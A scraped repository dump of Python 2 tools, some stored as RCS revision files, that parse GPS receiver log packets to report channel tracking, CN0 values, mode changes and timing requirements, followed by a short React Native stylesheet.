# print 'not steady-state:', lock_count[meas.prn]
continue
# measurement meets all pre-conditions
if self.test_accuracy:
pr_sigma = pr_noise_sigma(meas.prn, self.min_signal)
else:
pr_sigma = meas.pseudorange_sigma_ob
self.add_svdata(self.msg3B.timestamp(), meas.prn, self.tow,
meas.pseudorange, pr_sigma, meas.pseudorange_sigma_ob)
self.cbiases.append(ClockBias(self.tow, 0.0)) # actual clock bias is built into measurements
@
1.5
log
@SCR4268 - Added GBAS to list of packet31_navigation_modes.@
text
@d197 1
a197 1
if not (meas.validity_and_in_use_mask & 0x40):
@
1.4
log
@SCR 3254 - no longer use time input to determine which samples to count;
Now use Nav mode to start overbounding test and lock counts to ensure satellite measuremenst are steady state@
text
@d7 1
a7 1
'Dead-Reckoning', 'Precision_SBAS_Navigation']
@
1.3
log
@1. fix the test defaulting to min signal for sigma
2. prints the average steady state noise for the prns (DO229C 2.5.8.2, No 8)@
text
@d92 3
d106 1
a106 1
self.min_measurement_tow = self.tow + SETTLING_TIME_SEC
d108 2
a109 1
return
d189 1
d192 1
d211 3
@
1.2
log
@moved MASK_ANGLE_DEG from pracc_data.py@
text
@d38 1
a38 1
pr_noise_sigma(msg.prn))
d158 1
a158 1
pr_sigma = pr_noise_sigma(meas.prn)
d178 1
a178 1
pseudorange, pr_sigma)
d209 1
a209 1
pr_sigma = pr_noise_sigma(meas.prn)
d213 1
a213 1
meas.pseudorange, pr_sigma)
@
1.1
log
@Initial revision@
text
@d9 2
d153 1
a153 1
and (meas.elevation >= MASK_ANGLE_DEG):
d203 1
a203 1
if (elevations[meas.prn] < MASK_ANGLE_DEG):
@
<file_sep>/pytools/Other Pytools/split_channels.py
""" split_channels: parses files produced by bbp_events.py to produce data
about individual baseband channels """
__version__ = '$Revision: 1.1 $'
import sys, os.path, glob, math
class sorted_dict(dict):
"a dictionary whose keys and values are provided in sorted order"
def keys(self):
keys = dict.keys(self)
keys.sort()
return keys
def values(self):
values = dict.values(self)
values.sort(lambda x, y: cmp(x, y))
return values
class ChannelStats(sorted_dict):
"accumulates data and outputs statistics for a given event"
def add(self, name, stat):
if not self.has_key(name):
self[name] = []
self[name].append(stat)
def analyze(self):
if len(self) == 0:
return
## all = []
## for values in self.values():
## all += values
## self['All'] = all
for name in self.keys():
stats = self[name]
sum = 0.0
sum_sqrd = 0.0
for stat in stats:
sum += stat
sum_sqrd += stat * stat
N = len(stats)
avg = sum / N
if N > 1:
std = math.sqrt((sum_sqrd - sum * sum / N) / (N - 1))
else:
std = 0.0
print '%5i %16s : min=%4i, avg=%6.1f, max=%5i, std=%4i' % \
(len(stats), name, min(stats), avg, max(stats), int(round(std)))
def print_event(fields, event, event_time):
ms = fields[0]
print ' %7i : %-20s - %5i ms : %6s %4s' % (fields[0], event, event_time, fields[8], fields[10])
STATE_DISABLED = 0
STATE_OFF = 1
STATE_RESTART = 2
STATE_FAIL = 3
STATE_INIT_SEARCH = 4
STATE_SEARCH = 5
STATE_AFC = 6
STATE_COSTAS = 7
class Channel(list):
inf_tags = { 1:'Track Cmd', 0:'Transition',
3:'Search getting fractional chip', 20:'Search - new freq',
30:'Search failed', 40:'AFC Failed',
41:'AFC going to Costas', 50:'Costas Failed',
51:'Costas Locked', 52:'Costas Unlocked', 68:'Bitedge Failed',
80:'Code Coarse Lock', 81:'Code Lock' }
header = ' ms ch pr mag s evt info1 freq c phs fmin fmax cmin cmax\n'
stats = ChannelStats()
def __init__(self, num):
self.times = {}
self.num = num
self.track_time_ms = None
def __cmp__(self, other):
return cmp(self.num, other.num)
def write(self, root_fname):
fname = root_fname + '.ch' + str(self.num)
print 'channel: writing', fname
f = open(fname, 'wt')
f.write(self.header)
for line in self:
key = int(line.split()[5])
if self.inf_tags.has_key(key):
line = line.rstrip() + ' - ' + self.inf_tags[key] + '\n'
if key == 1:
line = '\n' + line + '\n'
f.write(line)
f.close()
def add_time(self, state, time):
if self.times.has_key(state):
self.times[state] = []
def analyze(self, bitsyncs, verbose=True):
if verbose: print self.num, ':'
search_ms = afc_ms = costas_ms = 0
times = {}
afc_start_ms = costas_start_ms = costas_locked_ms = 0
found_first_track = False
search_start_ms = 0
track_ms = 0
for line in self:
fields = line.split()
fields[3] = 0
fields = [int(field) for field in fields]
ms = fields[0]
state = fields[4]
times[state] = ms
event = fields[5]
code_coarse_ms = None
if state < 1000:
# convert from new format (10-based) to old format (1000-based)
state = int(state / 10) * 1000 + state % 10
## if verbose: print ' %5i : Idle %3i : %5i %5i %4i %4i' % \
## (ms, fields[2], fields[11], fields[12], fields[13], fields[14] )
if event == 0: #100:
# state transition
(old_state, new_state) = fields[6:8]
# print 'event 0:', line.strip(), 'old_state=', old_state, 'new_state=', new_state
if new_state == STATE_INIT_SEARCH:
if old_state == STATE_DISABLED:
# track command
track_ms = ms
if verbose: print ' %7i : Track %3i : %6i %6i %4i %4i' % \
(ms, fields[2], fields[11], fields[12], fields[13], fields[14])
elif new_state == STATE_AFC:
# AFC start
afc_start_ms = ms
if verbose: print_event(fields, 'AFC Start:', afc_start_ms - track_ms)
#XXX more
elif event == 6:
# search success
afc_start_ms = ms
if verbose: print_event(fields, 'Search Pass:', 0)
elif event == 30:
# search fail
if not search_start_ms:
search_start_ms = track_ms
if verbose: print_event(fields, 'Search Fail', ms - search_start_ms)
search_start_ms = ms
elif event == 80:
# code lock
code_coarse_ms = ms
code_coarse_time = ms - afc_start_ms
self.stats.add('Code Coarse Time', code_coarse_time)
if verbose: print ' %5i : %-20s - %5i ms' % (ms, 'Code Coarse Lock', code_coarse_time)
elif event == 81:
if code_coarse_ms == None:
code_fine_time = ms - afc_start_ms
else:
code_fine_time = ms - code_coarse_ms
self.stats.add('Code Time', code_fine_time)
if verbose: print_event(fields, 'Code Lock', code_fine_time)
elif event == 82:
# code unlock
code_unlock_time = ms - afc_start_ms
self.stats.add('Code Unlock Time', code_unlock_time)
if verbose: print ' %5i : %-20s - %5i ms' % (ms, 'Code Unlock', code_unlock_time)
elif event == 10 * STATE_AFC + 0:
# AFC fail
afc_time = ms - afc_start_ms
self.stats.add('AFC Failed', afc_time)
if verbose: print_event(fields, 'AFC Fail: %3s' % (fields[6], ), afc_time)
elif event == 10 * STATE_AFC + 1:
# AFC lock
afc_time = ms - afc_start_ms
self.stats.add('AFC Lock', afc_time)
if verbose: print_event(fields, 'AFC Lock: %3s' % (fields[6], ), afc_time)
costas_start_ms = ms
## elif event == 10 * STATE_COSTAS + 2:
## # Costas unlock
## costas_time = ms - costas_start_ms
## if verbose: print ' %6i : %-20s - %5i ms' % (ms, 'Costas Unlock: %s' % (fields[6], ), costas_time)
elif event == 10 * STATE_COSTAS + 0:
# Costas fail
costas_time = ms - costas_start_ms
self.stats.add('Costas', costas_time)
self.stats.add('Costas Failed', costas_time)
if verbose: print_event(fields, 'Costas Fail: %3s' % (fields[6], ), costas_time)
elif event == 10 * STATE_COSTAS + 1:
# Costas lock
costas_time = ms - costas_start_ms
self.stats.add('AFC+Costas', ms - afc_start_ms)
self.stats.add('Costas', costas_time)
self.stats.add('Costas Lock', costas_time)
if verbose: print_event(fields, 'Costas Lock: %3s' % (fields[6], ), costas_time)
costas_locked_ms = ms
elif event == 10 * STATE_COSTAS + 2:
# Costas unlock
costas_time = ms - costas_start_ms
if verbose: print_event(fields, 'Costas Unlock: %3s' % (fields[6], ), costas_time)
elif event == 10 * STATE_COSTAS + 3:
# Costas restart
costas_time = ms - costas_start_ms
if verbose: print_event(fields, 'Costas UI: %3s' % (fields[6], ), costas_time)
elif event == 68:
# Bitsync fail
bitsync_time = ms - costas_locked_ms
self.stats.add('Bitsync Failed', bitsync_time)
if verbose: print ' %6i : %-20s - %5i ms' % (ms, 'Bitsync Failed', bitsync_time)
elif event == 69:
# Bitsync success
self.track_time_ms = ms - track_ms
self.stats.add('Track', self.track_time_ms )
bitsync_time = ms - costas_locked_ms
self.stats.add('Bitsync', bitsync_time)
if verbose: print_event(fields, 'Bitsync', bitsync_time)
del(fields[8])
line = '%7i %2i %2i %5X %4i %3i %6i %6i %6i %4i %6i %5i %4i %4i\n' % tuple(fields)
bitsyncs.append(line)
if verbose: print ' %7i : %-20s - %5i ms' % (ms, 'Total', ms - track_ms, )
class ChannelList(sorted_dict):
def __init__(self, fname):
self.fname = fname
self.root_fname = os.path.splitext(fname)[0]
f = open(fname)
self.lines = f.readlines()
f.close()
self.parse()
def parse(self):
num_overflows = 0
for line in self.lines:
try:
fields = line.split()
if len(fields) < 15:
break
except IndexError:
break
num = int(fields[1])
if num >= 0:
if not self.has_key(num):
self[num] = Channel(num)
self[num].append(line)
else:
num_overflows += 1
if num_overflows > 1 and num_overflows < 5:
print line
## print 'Found %i lines and %i channels in %s' % \
## (len(self.lines), len(self), fname)
def write(self):
channels = self.values()
channels.sort()
for channel in channels:
channel.write(self.root_fname)
def analyze(self, verbose=True):
track_times = []
bitsyncs = []
for channel in self.values():
channel.analyze(bitsyncs, verbose)
if channel.track_time_ms != None:
track_times.append(channel.track_time_ms)
if (track_times):
Channel.stats.add('First Track', min(track_times))
if verbose:
bitsyncs.sort()
print '\nbitsyncs:'
print Channel.header,
for bitsync in bitsyncs:
# bitsync = bitsync[:19] + bitsync[39:]
print bitsync,
def write_commands(self):
fname = self.root_fname + '.cmd'
print 'Writing commands to', fname
f = open(fname, 'wt')
f.write(Channel.header)
last_ms = None
for line in self.lines:
fields = line.split()
if int(fields[5]) == 1:
ms = int(fields[0])
if last_ms != None and (ms - last_ms) > 500:
f.write('\n')
last_ms = ms
f.write(line)
f.close()
def trim_file(fname):
f = open(fname, 'rb')
bytes = f.read()
f.close()
original_len = len(bytes)
if bytes.find('ESTFBINR') >= 0:
bytes = bytes[32:] # strip off ESTI header
for ii in xrange(len(bytes)):
if bytes[ii] == chr(0):
print 'Found first zero at index', ii
bytes = bytes[:ii - 1]
break
if len(bytes) != original_len:
print 'trim_file: writing', fname
f = open(fname, 'wb')
f.write(bytes)
f.close()
if __name__ == '__main__':
try:
pattern = sys.argv[1]
except IndexError:
pattern = 'data.txt'
fnames = glob.glob(pattern)
for fname in fnames:
trim_file(fname)
channels = ChannelList(fname)
if fname == 'data.txt':
channels.write()
channels.write_commands()
channels.analyze(len(fnames) == 1)
print fnames
Channel.stats.analyze()
<file_sep>/rcs/version_changes.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2007.05.03.18.00.04; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.10.28.15.09.13; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@added comments to allow use as the canonical pytools example@
text
@"""version_changes.py: Reports version number changes in XPR log files.
This file serves as a base class for other parsers and illustrates the basic
structure of an XPR post-processor via the comments on the right.
"""
from xpr_log import Parser # import the xpr_log framework as Parser
class VersionChanges(Parser): # derive your class from Parser
def __init__(self, abort_at_change=True): # initialize the class
Parser.__init__(self) # initialize the parser
self.abort_at_change = abort_at_change # initialize your class's state data
self.last_sw_version = None
def handle1D(self, msg): # defina a packet handler
if msg.sw_version != self.last_sw_version: # implement the handler logic
print '%s SW Version %s at %0.1f minutes' % \
(msg.timestamp(), msg.sw_version, msg.second / 60.0)
if self.abort_at_change and self.last_sw_version:
self.abort_parse = True # abort when SW restarts
self.last_sw_version = msg.sw_version
if __name__ == '__main__': # implement Python's "main" idiom
VersionChanges(False).main('Version Changes') # instantiate the class and call its "main", supplying a title@
1.1
log
@Initial revision@
text
@d1 1
a1 1
from xpr_log import Parser
d3 3
a5 1
class VersionChanges(Parser):
d7 7
a13 3
def __init__(self, abort_at_change=True):
Parser.__init__(self)
self.abort_at_change = abort_at_change
d16 2
a17 2
def handle1D(self, msg):
if msg.sw_version != self.last_sw_version:
d24 2
a25 2
if __name__ == '__main__':
VersionChanges(False).main('Version Changes')@
<file_sep>/pytools/Other Pytools/num_tracking.py
__version__ = '$Revision: 1.3 $'
from mode_changes import ModeChanges as Parser
import stats
class Num_Tracking(Parser):
def __init__(self):
Parser.__init__(self)
self.has_navigated = False
self.print_header = True
self.num_locked_list = []
self.num_visible = self.last_num_visible = 0
self.last_num_tracking = None
self.gps_tow = 0.0
def main(self, title):
Parser.main(self, title)
if self.num_locked_list:
st = stats.Stats(self.num_locked_list)
print '\nNum locked statistics: count=%i min=%0.1f max=%0.1f avg=%0.1f RMS=%0.1f std=%0.1f' % \
(len(self.num_locked_list), min(self.num_locked_list), max(self.num_locked_list),
st.avg, st.rms, st.std)
else:
print 'No changes found in the number visible or tracking'
def handle28(self, msg):
pass # print msg.line
## def handle29(self, msg):
## if msg.fault_type in [67, 68]:
## print msg.line
def handle30(self, msg):
num_tracking = 0
num_locked = 0
num_in_use = 0
prns = {}
for meas in msg.measurements:
if meas.state in ['TRK.', 'DATA']:
num_tracking += 1
if meas.carrier_to_noise_ratio >= 30.0: # 33.0:
num_locked += 1
prns[meas.prn] = meas.carrier_to_noise_ratio
if meas.in_use:
num_in_use += 1
if self.has_navigated:
self.num_locked_list.append(num_locked)
if num_tracking != self.last_num_tracking or \
self.num_visible != self.last_num_visible:
if self.print_header:
print 'SN sec TOW V L T I PRNS'
print '------------------------------------------------------'
self.print_header = False
print '%s %06i %6i %2i %2i %2i %2i' % \
(msg.serial_number, msg.second, round(self.gps_tow), self.num_visible,
num_locked, num_tracking, num_in_use),
keys = prns.keys()
keys.sort()
s = '['
for key in keys:
s += '%i-%i ' % (key, prns[key])
s = s.rstrip() + ']'
print s
self.last_num_tracking = num_tracking
self.last_num_visible = self.num_visible
def handle31(self, msg):
Parser.handle31(self, msg)
if msg.mode == 'Navigation':
self.has_navigated = True
self.num_visible = msg.number_of_visible_satellites
def handle32(self, msg):
Parser.handle32(self, msg)
self.gps_tow = msg.gps_tow
if __name__ == '__main__':
Num_Tracking().main('Num Tracking')
<file_sep>/rcs/metrics.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2008.04.03.20.43.51; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2005.04.01.22.09.55; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@@
text
@"""metrics.py: Extracts the system metrics of packet 0x2f from one or more log
files to files named 'metricX.txt."""
from mode_changes import ModeChanges as Parser
class SystemMetrics(Parser):
def __init__(self):
Parser.__init__(self)
def main(self, title='System Metrics'):
self.metric_msgs = {}
Parser.main(self, title)
ids = self.metric_msgs.keys()
ids.sort()
num_metrics = 0
for id in ids:
fname = 'metric%s.txt' % (id, )
print 'Writing', fname, '...',
f = open(fname, 'wt')
msgs = self.metric_msgs[id]
num_metrics += len(msgs)
for msg in msgs:
# f.write('%4i %6.1f\n' % (msg.second, msg.metric))
f.write('%i\t%0.1f\n' % (msg.second, msg.metric))
f.close()
print 'done.'
print 'Found %i metrics.' % (num_metrics, )
def handle2F(self, msg):
id = msg.metric_id
if not self.metric_msgs.has_key(id):
self.metric_msgs[id] = []
self.metric_msgs[id].append(msg)
if __name__ == '__main__':
SystemMetrics().main()@
1.1
log
@Initial revision@
text
@d24 2
a25 1
f.write('%4i %6.1f\n' % (msg.second, msg.metric))
@
<file_sep>/rcs/cn0s.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2006.10.19.15.04.09; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2006.10.18.21.05.16; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@fixed time-related bugs@
text
@"""Extracts CN0s from a log file. Output is in a table format with time as
the first column and one row for each PRN. When no CN0 value is available
for the PRN, 0 is ouptut."""
__version__ = '$Revision: 1.1 $'
from xpr_log import Parser
class CN0s(Parser):
def __init__(self):
Parser.__init__(self)
self.prns = {}
self.data = []
self.msg30 = None
def main(self, title):
Parser.main(self, title)
# form output fname from input fname
import os.path
out_fname = os.path.splitext(self.fname)[0] + '.cn0'
print 'Writing CN0s from %s to %s' % (self.fname, out_fname)
f = open(out_fname, 'wt')
# get and sort a list of PRNs
prns = self.prns.keys()
prns.sort()
# print heading
print >> f, ' Time ',
for prn in prns:
print >> f, ' %3i' % (prn, ),
print >> f
# print data
for data in self.data:
print >> f, '%02i/%02i/%02i %02i:%02i:%04.1f ' % data[0],
for prn in prns:
try:
print >> f, ' %3i' %(data[1][prn], ),
except KeyError:
print >> f, ' 0',
print >> f
def handle30(self, msg):
self.msg30 = msg
def handle32(self, msg):
if self.msg30 is None:
return
tm = (msg.month, msg.day, msg.year % 100, msg.hour, msg.minute,
msg.second)
cn0s = {}
for m in self.msg30.measurements:
self.prns[m.prn] = 1
cn0s[m.prn] = m.carrier_to_noise_ratio
self.data.append( (tm, cn0s) )
if __name__ == '__main__':
CN0s().main('CN0s')@
1.1
log
@Initial revision@
text
@a8 2
import time
d14 1
a14 1
self.data = {}
d31 1
a31 1
print >> f, ' Time ',
d37 2
a38 5
tms = self.data.keys()
tms.sort()
for tm in tms:
print >> f, '%2i/%2i/%2i %2i:%2i ' % (tm[0], tm[1], tm[2], tm[3],
tm[4]),
d41 1
a41 1
print >> f, ' %3i' %(self.data[tm][prn], ),
d52 3
a54 3
tm = ( msg.month, msg.day, msg.year % 100, msg.hour,
int(round(msg.second)) )
self.data[tm] = {}
d57 2
a58 1
self.data[tm][m.prn] = m.carrier_to_noise_ratio
@
<file_sep>/pytools/Other Pytools/mode_changes.py
""" Shows version changes and mode changes """
from version_changes import VersionChanges as Parser
class ModeChanges(Parser):
def __init__(self):
Parser.__init__(self)
self.last_mode = None
self.last_mode_second = 0
self.last_validity = None
self.last_gps_tow = -1.0
self.num_tow_reports = 0
self.last_num_visible = -1
def handle31(self, msg):
minutes = delta_seconds = 0
if msg.mode != self.last_mode:
minutes = self.second / 60.0
delta_seconds = (self.second - self.last_mode_second)
print '%s %-30s %4.1f min (delta %3i sec)' % \
(msg.timestamp(), msg.mode, minutes, delta_seconds)
self.last_mode = msg.mode
self.last_mode_second = self.second
if msg.number_of_visible_satellites != self.last_num_visible:
self.last_num_visible = msg.number_of_visible_satellites
if self.last_num_visible == 0:
print '%s %-30s %4.1f min (delta %3i sec)' % \
(msg.timestamp(), '0 satellites visible', minutes, delta_seconds)
def handle32(self, msg):
if self.last_validity != msg.validity:
if not (self.last_validity is None):
print '%s Validity changed to 0x%02X' % \
(msg.timestamp(), msg.validity)
self.last_validity = msg.validity
if self.last_gps_tow == msg.gps_tow:
if self.num_tow_reports < 10:
print '%s TOW did not change or went backwards ' % (msg.timestamp(), )
self.num_tow_reports += 1
else:
self.num_tow_reports = 0
self.last_gps_tow = msg.gps_tow
def handle_parse_error(self, error, line_num, line):
print 'Parsing error on line', line_num, 'of input file:'
print ' ', line
if __name__ == '__main__':
ModeChanges().main('Mode Changes')<file_sep>/rcs/Packet5a.py
head 1.10;
branch ;
access ;
symbols 2PXRFS1:1.10 PVTSE_tests:1.10 HT_0113:1.10 TRR1:1.10 SCR3820:1.9
SCR3504:1.8 SCR3112:1.7 SCR2884:1.6 SCR%202864:1.4;
locks ; strict;
comment @@;
1.10
date 2009.05.27.13.33.18; author Steven.Ragan; state Exp;
branches ;
next 1.9;
1.9
date 2009.04.30.20.15.44; author Brian.Teig; state In_Progress;
branches ;
next 1.8;
1.8
date 2008.12.12.23.18.45; author Brian.Teig; state In_Progress;
branches ;
next 1.7;
1.7
date 2008.07.09.16.15.35; author Brian.Teig; state Exp;
branches ;
next 1.6;
1.6
date 2008.05.19.21.47.43; author Brian.Teig; state Exp;
branches ;
next 1.5;
1.5
date 2008.05.14.18.21.02; author Steven.Ragan; state Exp;
branches ;
next 1.4;
1.4
date 2008.03.19.00.30.25; author Brian.Teig; state In_Progress;
branches ;
next 1.3;
1.3
date 2008.03.03.18.50.54; author Grant.Griffin; state In_Progress;
branches ;
next 1.2;
1.2
date 2008.03.03.18.46.04; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2008.01.18.22.42.07; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.10
log
@@
text
@""" packet5a.py: Summarizes data from packet 0x5a.
Usage:
packet5a inp_fname [verbose|csv_fname] [event_ids]
Parameters:
inp_fname - Input file name
verbose - To include all 0x5a data in output
csv_fname - Output file name for writing in CSV format
event_ids - Specific event IDs to be output to csv file. Multiple IDs
can be provided one after other separated by spaces.
csv_fname must be provided if event_ids are provided.
"""
__version__ = '$Revision: 1.9 $'
import sys
from xpr_log import Parser
class Packet5a:
""" Represents data from a set of 0x5a packets """
""" The following hold definition data for each 0x5a ID. The format
is:
ID:('descrtiption, max_s), where min_s is assumed to be 0.0
or ID:('description, min_s, max_s)
"""
DEFS = {
980: ('SDM SBAS correction processing', 0.3),
1014:('PVT dead-reckon time', 30.0),
1462:('BIT cache flush', 27.0),
1463:('BIT RAM check', 60.0),
1564:('PVT first solution time', 0.030),
1574:('RXC satellite select', 2.000),
1592:('APD monitor handshake', 0.100),
1626:('EXP fault assert', 0.500),
1678:('PVT HPL computation', 50.0),
1702:('SIM TX Msg rxed to first HW out time', 0.002),
1730:('MPP measurement output time', 0.018),
1796:('PRD prediction time', 0.250),
1859:('BIT power-up test', 0.450),
1883:('SIM activity status available', 0.400),
1896:('BIT background cycle', 0.750, 1.250),
1904:('SMG self-test ack time', 0.500),
1906:('BIT commanded test', 28.0),
1939:('SIM time to forward 0x4a to APD', 0.050),
2026:('SIM VDB Broadcast', 0.035),
2028:('NAV output time after new path', 0.200),
2031:('SIM time to output 0x35 and 0x36', 0.035),
2057:('SIM deviation labels output time', 0.013),
2058:('SIM GLS/airport info labels output time', 0.012),
2083:('NAV invalidation time', 0.150),
2094:('SDM time to Type 2 msg', 0.050),
2116:('SDM time to use Type 1 msg', 0.300),
2523:('SIM time to forward 0x4c to APD', 0.050),
2696:('SIM 743 input labels availability time', 0.012),
2783:('SIM tuning command interpretation time', 0.030),
2842:('SIM cross-monitor failure SSM FW time', 0.150),
2881:('SIM faulted deviation annunciation time', 0.100),
2882:('NAV output time after new pos', 0.010),
2892:('PVT time to use masked sats', 30.0),
3255:('SIM fault discrete annunciation time', 0.500),
3256:('PS loopback holdoff time',2.000),
3422:('BIT latch antenna fault', 3.5, 0.0), # 3.5 minimum
3429:('BIT detect antenna fault', 2.400),
3571:('PVT solution valid when HPL < 0.3 nm', 1.5),
3572:('PVT solution valid with 4 measurements', 10.0),
4751:('NAV lateral deviation invalidated', 0.150),
4792:('SIM time to APD to process 0x4c', 0.200),
4810:('SIM time to APD to process 0x4a', 0.200),
5211:('Antenna Monitor Background Task', 0.300, 0.700),
20831:('NAV time to invalidate devs', 0.150),
20832:('NAV time to invalidate devs', 0.150)
}
def __init__(self, msg5a):
""" Initializes the object """
self.msgs = [msg5a]
self.id = msg5a.event_ID
self.count = msg5a.event_count
self.max_s = msg5a.max_event_duration_s
self.min_s = msg5a.min_event_duration_s
def update(self, msg5a):
""" Updates the object with data from a 0x5a packet """
self.msgs.append(msg5a)
self.count += msg5a.event_count
self.max_s = max(self.max_s, msg5a.max_event_duration_s)
self.min_s = min(self.min_s, msg5a.min_event_duration_s)
def __str__(self):
""" Returns the object's string representation """
# get the definition for this ID
try:
id_def = self.DEFS[self.id]
try:
(name, min_s, max_s) = id_def
except ValueError:
(name, max_s) = id_def
min_s = 0.0
except KeyError:
(name, min_s, max_s) = ('UNKNOWN', 0.0, 0.0)
s = 'ID%d : count=%d' % (self.id, self.count)
if self.count:
s += ' min=%f max=%f' % (self.min_s, self.max_s)
s += ' : ' + name
if self.count:
# determine pass/fail
if self.min_s < min_s or self.max_s > max_s:
s += ' FAILS'
else:
s += ' PASSES'
s += ' (%f, %f)' % (min_s, max_s)
else:
s += ' FAILS due to no data'
return s
def csv(self):
""" Returns a single line of CSV text, includding endline """
return '%d, %d, %f, %f\n' % (self.id, self.count, self.max_s, self.min_s)
class Summary5A(Parser, dict):
""" Parser for packet 0x5a that summarizes """
def __init__(self):
""" Initializes the object """
self.ids_of_interest = []
Parser.__init__(self)
def keys(self):
""" Returns the objects keys, in sorted order """
keys = dict(self).keys()
keys.sort()
return keys
def __repr__(self, verbose=True):
""" Returns a summary string """
s = ''
for key in self.keys():
stat = self[key]
s += str(stat) + '\n'
if verbose:
for msg in stat.msgs:
if stat.count > 0:
s += ' %s\n' % (msg.line, )
return s
def __str__(self):
""" Return a minimal summary string """
return self.__repr__(False)
def set_ids_of_interest(self, ids):
self.ids_of_interest = ids
def write_csv(self, fname):
""" Writes a brief summary in CSV format """
f = open(fname, 'wt')
if len(self.ids_of_interest) == 0:
for key in self.keys():
f.write(self[key].csv())
else:
for id in self.ids_of_interest:
try:
f.write(self[int(id)].csv())
except KeyError:
f.write('Err,0,0,0\n')
f.close()
def handle5A(self, msg):
""" Handles a single 0x5a packet """
try:
self[msg.event_ID].update(msg)
except KeyError:
self[msg.event_ID] = Packet5a(msg)
if __name__ == '__main__':
""" Command-line interface """
args = sys.argv
sys.argv = sys.argv[:2] # limit xpr_log processing to the first two arguments
summary = Summary5A()
summary.main('Summary of 0x5a packets:')
try:
arg = args[2]
if arg.lower() == 'verbose':
print summary.__repr__(True)
else:
# The only event id that needs to be written to the csv file
summary.set_ids_of_interest(args[3:])
print 'Writing summary to CSV file', arg
summary.write_csv(arg)
except IndexError:
print summary
@
1.9
log
@Add loopback fault hold-off times@
text
@d39 1
@
1.8
log
@Added SRS5211@
text
@d16 1
a16 1
__version__ = '$Revision: 1.8 $'
d63 1
@
1.7
log
@Update SRS2031 from 30ms to 35ms@
text
@d16 1
a16 1
__version__ = '$Revision: 1.7 $'
d70 1
@
1.6
log
@Add 0x5a definition for SRS2031.
Add missing definitions and fix syntax error@
text
@d16 1
a16 1
__version__ = '$Revision: 1.6 $'
d49 1
a49 1
2031:('SIM time to output 0x35 and 0x36', 0.030),
@
1.5
log
@@
text
@d16 1
a16 1
__version__ = '$Revision: 1.5 $'
d35 2
d42 1
d47 1
d49 1
d67 1
d69 1
a69 1
4810:('SIM time to APD to process 0x4a', 0.200
@
1.4
log
@Corrected timing and ID's for requirements:
1260 changed to 2881
1306 changed to 2696
1352 changed to 3255@
text
@d43 1
a43 1
1939:('SIM air/ground discrete set time', 0.100),
d50 1
d62 2
d86 1
a86 1
try:
d95 1
a95 1
d99 1
a99 1
d132 1
a132 1
""" Returns a summary string """
d146 1
a146 1
d149 1
a149 1
d176 1
a176 1
d179 1
a179 1
d188 1
a188 1
summary.write_csv(arg)
@
1.3
log
@added ID definitions @
text
@a31 3
1260:('SIM XMON UNKNOWN', 0.0),
1306:('SIM i743 UNKNOWN', 0.0),
1352:('SIM Base UNKNOWN', 0.0),
d50 1
d56 1
@
1.2
log
@added new command-line parameters to better support use with ATEToolkit@
text
@a31 2
1049:('SIM O755 UNKNOWN', 0.0),
1050:('SIM O755 UNKNOWN', 0.0),
d40 1
d44 3
a46 1
1904:('BIT commanded test', 28.0),
d48 3
d53 3
@
1.1
log
@Initial revision@
text
@d5 1
a5 1
packet5a inp_fname [verbose|csv_fname]
d8 6
a13 3
inp_fname - input file name
verbose - to include all 0x5a data in output
csv_fname - output file name for writing in CSV format
d113 1
d137 4
a140 1
d144 9
a152 2
for key in self.keys():
f.write(self[key].csv())
d164 4
a167 1
""" Command-line test interface """
d172 2
a173 2
arg = sys.argv[2].lower()
if arg == 'verbose':
d176 2
@
<file_sep>/pytools/Other Pytools/metrics.py
"""metrics.py: Extracts the system metrics of packet 0x2f from one or more log
files to files named 'metricX.txt."""
from mode_changes import ModeChanges as Parser
class SystemMetrics(Parser):
def __init__(self):
Parser.__init__(self)
def main(self, title='System Metrics'):
self.metric_msgs = {}
Parser.main(self, title)
ids = self.metric_msgs.keys()
ids.sort()
num_metrics = 0
for id in ids:
fname = 'metric%s.txt' % (id, )
print 'Writing', fname, '...',
f = open(fname, 'wt')
msgs = self.metric_msgs[id]
num_metrics += len(msgs)
for msg in msgs:
# f.write('%4i %6.1f\n' % (msg.second, msg.metric))
f.write('%i\t%0.1f\n' % (msg.second, msg.metric))
f.close()
print 'done.'
print 'Found %i metrics.' % (num_metrics, )
def handle2F(self, msg):
id = msg.metric_id
if not self.metric_msgs.has_key(id):
self.metric_msgs[id] = []
self.metric_msgs[id].append(msg)
if __name__ == '__main__':
SystemMetrics().main() | cf7827dfd680439f1a11d05af8f317a83b6c4662 | [
"Python",
"INI"
] | 99 | Python | kylelindgren/gps_monitor | 44034557aea52067ddc921fbe792222a645f24e5 | 404e60b15c493ccd96f3d2ecca732e86036e1be3 |
refs/heads/master | <file_sep>import { StyleSheet } from 'react-native';
const style = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#333',
},
containerInputs: {
marginTop: 30,
marginLeft: 30,
},
titleText: {
color: '#ccc',
fontSize: 22,
marginBottom: 8,
},
input:{
marginBottom: 20,
width: '90%',
height: 50,
borderWidth: 1,
borderColor: '#555',
color: '#FFF',
fontSize: 18,
paddingHorizontal: 10,
borderRadius: 8,
backgroundColor: '#555',
},
button: {
width: '90%',
height: 50,
backgroundColor: '#f00555',
borderRadius: 8,
elevation: 5,
alignItems: 'center',
justifyContent: 'center',
},
buttonText: {
color: '#f9f9f9',
textAlign: 'center',
fontSize: 22,
letterSpacing: 1,
},
});
